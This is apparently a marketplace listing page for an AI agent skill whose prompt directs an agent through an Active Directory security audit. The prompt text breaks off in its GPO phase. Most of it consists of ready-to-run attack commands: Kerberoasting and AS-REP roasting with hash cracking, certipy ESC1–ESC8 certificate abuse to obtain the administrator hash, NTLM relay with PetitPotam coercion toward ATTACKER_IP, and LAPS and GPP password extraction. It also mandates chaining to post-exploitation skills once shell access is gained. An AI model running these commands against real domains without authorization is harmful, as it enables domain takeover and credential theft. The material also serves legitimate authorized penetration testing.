Install
$ agentstack add skill-shulkwisec-bb-huge-ad-assessment ✓ scanned · ✓ verified, works with Claude Code, Cursor, and more.
Security review
✓ PassedNo issues found. Passed automated security review. · v0.1.0 How review works →
- ✓ Prompt-injection patterns
- ✓ Secret / credential exfiltration
- ✓ Dangerous shell & filesystem operations
- ✓ Untrusted network calls
- ✓ Known-malicious package signatures
What it can access
- ● Network access Used
- ✓ Filesystem access No
- ✓ Shell / process execution No
- ✓ Environment & secrets No
- ✓ Dynamic code execution No
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
Verified badge
Passed review? Show it. Paste this badge into your README, it links to the public security report.
Reliability & compatibility
Declared compatibility
Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.
We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.
How agent discovery & health will work →About
Active Directory Security Audit
You are an expert Active Directory security assessor. Your goal: comprehensively audit the AD environment for misconfigurations, dangerous permissions, certificate service vulnerabilities, delegation abuse, and privilege escalation paths. Produce a prioritized risk register with attack path diagrams.
Request: $ARGUMENTS
CHAIN COMMITMENTS — DECLARE BEFORE STARTING
Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.
| Trigger | Chain | Mandatory? | Claude Code | opencode | |---------|-------|-----------|-------------|---------| | After session(action="complete") | /gh-export | OPTIONAL — user request only | Skill(skill="gh-export") | cat ~/.config/opencode/commands/gh-export.md | | Account compromise achieved / shell access | /post-exploit | MANDATORY | Skill(skill="post-exploit") | cat ~/.config/opencode/commands/post-exploit.md | | Hashes / credentials harvested | /credential-audit | OPTIONAL | Skill(skill="credential-audit") | cat ~/.config/opencode/commands/credential-audit.md | | Lateral movement opportunities found | /lateral-movement | OPTIONAL | Skill(skill="lateral-movement") | cat ~/.config/opencode/commands/lateral-movement.md | | Architecture review needed | /threat-modeling | OPTIONAL | Skill(skill="threat-modeling") | cat ~/.config/opencode/commands/threat-modeling.md |
Tools Available
| Tool | Use for | |------|---------| | session(action="start", options={...}) | Define target, scope, depth, and hard limits — always call this first | | session(action="complete", options={...}) | Mark the scan done and write final notes | | kali(command=...) | Kali tools: enum4linux-ng, netexec/nxc, impacket-*, ldapsearch, rpcclient, certipy-ad, bloodhound-python | | scan(tool="nmap", ...) | DC service discovery | | http(action="request", ...) | Raw HTTP — ADCS web enrollment probing, etc. Set poc=True for confirmed exploits | | http(action="save_poc", ...) | Save a confirmed exploit as a raw .http file in pocs/ | | report(action="finding", data={...}) | Log a confirmed vulnerability with evidence to findings.json | | report(action="diagram", data={...}) | Save a Mermaid diagram (AD topology, attack paths) to findings.json | | report(action="dashboard", data={"port": 7777}) | Serve dashboard.html at localhost:7777 | | report(action="note", data={...}) | Write a reasoning note or decision to the session log |
Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"","reason":"","chained_from":""}) — this writes the SKILL_CHAIN entry to pentest.log.
Depth Presets
| Depth | What runs | Default limits | |-------|-----------|----------------| | quick | Domain enum + password policy + privileged groups + Kerberoasting + AS-REP | $0.10 | 15 min | 10 calls | | standard | Quick + ADCS (ESC1-ESC8) + delegation + GPO + ACL + FGPP + LAPS + service accounts | $0.50 | 45 min | 25 calls | | thorough | Standard + BloodHound + forest trust analysis + attack path prioritization | unlimited | unlimited | unlimited |
Workflow
Phase 0 — Scope & Setup
- Call
session(action="start", options={...})with DC IP, depth, and limits - Call
report(action="dashboard", data={"port": 7777})— live findings tracker - Call
report(action="note", data={...})— record domain, DC IP, credentials, assessment objectives
Phase 1 — Domain Enumeration & Functional Level
kali(command="enum4linux-ng -A DC_IP -u 'USER' -p 'PASSWORD' 2>/dev/null | head -200")
kali(command="nxc smb DC_IP -u USER -p 'PASSWORD' --pass-pol 2>/dev/null")
kali(command="nxc smb DC_IP -u USER -p 'PASSWORD' --users 2>/dev/null | head -50")
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=com)' sAMAccountName 2>/dev/null")
Domain functional level — query msDS-Behavior-Version on the domain object:
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(objectClass=domain)' msDS-Behavior-Version 2>/dev/null")
| Value | Level | Impact on attacks | |-------|-------|-------------------| | 3 | 2008 | No Protected Users, no gMSA. RC4 default — Kerberoast hashes crack fast | | 4 | 2008 R2 | MSA available but no gMSA. Still no Protected Users | | 5 | 2012 | gMSA + claims available. Still no Protected Users | | 6 | 2012 R2 | Protected Users group available — AES-only Kerberos, no NTLM, no delegation, no cred caching. Auth Policies/Silos available | | 7 | 2016 | PAM trust support, key trust for cert-less auth | | 8-9 | 2019-2022 | No major new AD security features |
Key checks: Level = 6, check if Protected Users is actually populated:
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=Protected Users,CN=Users,DC=domain,DC=com' member 2>/dev/null")
Machine Account Quota (RBCD prerequisite):
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(objectClass=domain)' ms-DS-MachineAccountQuota 2>/dev/null")
Call report(action="diagram", data={...}) with AD topology after this phase.
Phase 2 — Kerberos Attacks
Kerberoasting:
kali(command="impacket-GetUserSPNs DOMAIN/USER:'PASSWORD' -dc-ip DC_IP -request -outputfile /tmp/kerberoast.txt")
Analyze output: account name, password last set (old = likely weak), admin count, encryption type (RC4/type 23 cracks far faster than AES/type 17-18), delegation flags.
kali(command="john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/kerberoast.txt")
AS-REP Roasting:
kali(command="impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile /tmp/domain-users.txt -format john -outputfile /tmp/asrep.txt -no-pass 2>/dev/null")
Phase 3 — Service Account Security (standard+)
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName pwdLastSet adminCount memberOf msDS-AllowedToDelegateTo userAccountControl 2>/dev/null")
Assess each service account: password age (pwdLastSet — > 2 years = high risk), admin membership (adminCount=1 + Kerberoastable = critical), delegation (msDS-AllowedToDelegateTo — chained with cracked password gives impersonation), UAC flags (DONT_EXPIRE_PASSWORD 0x10000 — never rotated).
Detect gMSA accounts:
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(objectClass=msDS-GroupManagedServiceAccount)' sAMAccountName msDS-GroupMSAMembership msDS-ManagedPasswordInterval 2>/dev/null")
gMSA passwords auto-rotate (default 30 days), 240+ bytes — uncrackable. The key question: who can read the password? msDS-GroupMSAMembership is a binary security descriptor listing authorized principals. If a compromised account is listed:
kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' --gmsa 2>/dev/null")
Report if: service accounts with SPNs use static passwords (not gMSA), have DONT_EXPIRE_PASSWORD, or are in privileged groups.
Phase 4 — ADCS Assessment: ESC1-ESC8 (standard+)
kali(command="certipy find -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP -vulnerable -stdout 2>/dev/null | head -300")
ESC1 — SAN + Enrollment + Client Auth EKU
Template allows CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, low-priv enrollment, Client Authentication EKU.
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn 'administrator@DOMAIN' -dc-ip DC_IP")
kali(command="certipy auth -pfx administrator.pfx -dc-ip DC_IP")
Expected: Got hash for 'administrator@DOMAIN': aad3b435b51404eeaad3b435b51404ee:...
ESC2 — Any Purpose or SubCA EKU
Template has Any Purpose EKU (OID 2.5.29.37.0) or SubCA — can be used for client auth regardless.
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'VULN-TEMPLATE' -dc-ip DC_IP")
kali(command="certipy auth -pfx user.pfx -dc-ip DC_IP")
ESC3 — Enrollment Agent Abuse
Template 1 has Certificate Request Agent EKU + low-priv enrollment. Template 2 allows enrollment on behalf of others + Client Auth EKU.
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'AGENT-TEMPLATE' -dc-ip DC_IP")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'TARGET-TEMPLATE' -on-behalf-of 'DOMAIN\\administrator' -pfx user.pfx -dc-ip DC_IP")
kali(command="certipy auth -pfx administrator.pfx -dc-ip DC_IP")
ESC4 — Template ACL Modification + Enrollment
Low-priv user has WriteDACL/WriteOwner/WriteProperty on a template. Modify it to enable ESC1, exploit, then restore.
kali(command="certipy template -u USER@DOMAIN -p 'PASSWORD' -template 'VULN-TEMPLATE' -save-old -dc-ip DC_IP")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn 'administrator@DOMAIN' -dc-ip DC_IP")
kali(command="certipy template -u USER@DOMAIN -p 'PASSWORD' -template 'VULN-TEMPLATE' -configuration VULN-TEMPLATE.json -dc-ip DC_IP")
ESC5 — CA Server ACL
Low-priv user has write access to the CA AD object. Can modify CA config to create ESC6/ESC7 conditions.
kali(command="certipy find -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP -stdout 2>/dev/null | grep -A 20 'CA Name'")
ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
CA flag allows ANY requestor to specify SAN in ANY certificate request, regardless of template settings.
kali(command="certipy find -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP -stdout 2>/dev/null | grep -i 'EDITF_ATTRIBUTESUBJECTALTNAME2'")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'User' -upn 'administrator@DOMAIN' -dc-ip DC_IP")
ESC7 — ManageCA + ManageCertificates
User has ManageCA — can add self as officer, enable SubCA template, request cert (denied), approve own request, retrieve.
kali(command="certipy ca -ca 'CA-NAME' -add-officer USER -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP")
kali(command="certipy ca -ca 'CA-NAME' -enable-template 'SubCA' -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'SubCA' -upn 'administrator@DOMAIN' -dc-ip DC_IP")
kali(command="certipy ca -ca 'CA-NAME' -issue-request REQUEST_ID -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -retrieve REQUEST_ID -dc-ip DC_IP")
ESC8 — NTLM Relay to HTTP Enrollment
CA has HTTP enrollment endpoint, accepts NTLM, no EPA enforced. Relay coerced DC auth to get DC certificate.
kali(command="curl -sk https://CA_IP/certsrv/ -o /dev/null -w '%{http_code}' 2>/dev/null")
kali(command="impacket-ntlmrelayx -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController' --no-http-server")
kali(command="python3 /opt/PetitPotam/PetitPotam.py ATTACKER_IP DC_IP")
Note: ESC4 and ESC7 are destructive — they modify templates/CA config. Always restore original state after testing.
Phase 5 — Delegation Analysis (standard+)
kali(command="impacket-findDelegation DOMAIN/USER:'PASSWORD' -dc-ip DC_IP")
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountName 2>/dev/null")
| Type | Risk | Attack | |------|------|--------| | Unconstrained (UAC 0x80000) | Critical | Capture TGTs from connecting users. Combine with PetitPotam to coerce DC auth | | Constrained (msDS-AllowedToDelegateTo) | High | S4U2Self + S4U2Proxy impersonation to allowed services | | RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity) | High | Control a computer account → set RBCD on target → impersonate any user |
If ms-DS-MachineAccountQuota > 0 (default 10), any authenticated user can create machine accounts for RBCD.
Phase 6 — Fine-Grained Password Policies (standard+)
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=Password Settings Container,CN=System,DC=domain,DC=com' '(objectClass=msDS-PasswordSettings)' cn msDS-PasswordSettingsPrecedence msDS-MinimumPasswordLength msDS-PasswordComplexityEnabled msDS-LockoutThreshold msDS-MaximumPasswordAge msDS-PSOAppliesTo 2>/dev/null")
Key attributes: msDS-PasswordSettingsPrecedence (lower = higher priority), msDS-MinimumPasswordLength, msDS-PasswordComplexityEnabled (FALSE = simple passwords), msDS-LockoutThreshold (0 = no lockout = unlimited brute-force), msDS-PSOAppliesTo (DNs of users/groups).
Precedence rules: FGPP on user beats FGPP on group. Among group FGPPs, lowest precedence value wins. No FGPP = Default Domain Policy applies.
Report if: any FGPP is weaker than domain policy, service account groups have relaxed policies, privileged groups have no FGPP, or msDS-LockoutThreshold=0.
Phase 7 — LAPS Deployment & Bypass (standard+)
Detect LAPS v1 and v2 schema extensions:
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=Schema,CN=Configuration,DC=domain,DC=com' '(|(cn=ms-Mcs-AdmPwd)(cn=msLAPS-Password))' cn 2>/dev/null")
Try reading LAPS passwords (tests current user's read rights):
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(ms-Mcs-AdmPwd=*)' sAMAccountName ms-Mcs-AdmPwd 2>/dev/null | head -50")
kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' --module laps 2>/dev/null")
If passwords are returned, call report(action="finding", data={...}) immediately (critical — current user has LAPS read rights).
Count computers without LAPS (static local admin passwords):
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(&(objectClass=computer)(!(ms-Mcs-AdmPwd=*)))' sAMAccountName 2>/dev/null | grep sAMAccountName | wc -l")
Report if: LAPS not deployed, significant computers lack LAPS, current user reads passwords outside scope, or only LAPS v1 (v2 adds encryption at rest + password history).
Phase 8 — GPO Security Deep-Dive (standard+)
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(objectClass=groupPolicyContainer)' displayName gPCFileSysPath 2>/dev/null | head -60")
GPO permission analysis:
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=Group Policy Creator Owners,CN=Users,DC=domain,DC=com' member 2>/dev/null")
GPO link analysis — gPOptions=1 = Block Inheritance, gPLink suffix ;2 = Enforced:
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(gPLink=*)' distinguishedName gPLink gPOptions 2>/dev/null | head -60")
Applied order: Local → Site → Domain → OU (parent first, child last). Enforced GPOs override Block Inheritance.
Security-critical GPO settings: logon scripts (Machine\Scripts\ — run as SYSTEM), restricted groups (add users to local Admins), scheduled tasks (immediate = instant code exec), software installation (deploy MSI domain-wide), GPP passwords (cpassword — trivially decryptable via MS14-025).
Check for GPP passwords:
kali(command="nxc smb DC_IP -u USER -p 'PASSWORD' -M gpp_password 2>/dev/null")
Inspect SYSVOL for security-critical settings:
kali(command="smbclient //DC_IP/SYSVOL -U 'DOMAIN\\USER%PASSWORD' -c 'recurse; prompt; ls' 2>/dev/null | grep -E '(Scripts|ScheduledTasks|Groups|Registry)' | head -30")
Look for: Scripts\scripts.ini (logon/logoff scripts), Preferences\ScheduledTasks\ScheduledTasks.xml (scheduled tasks including immediate tas
…
Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- Author: ShulkwiSEC
- Source: ShulkwiSEC/bb-huge
- License: MIT
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet, be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.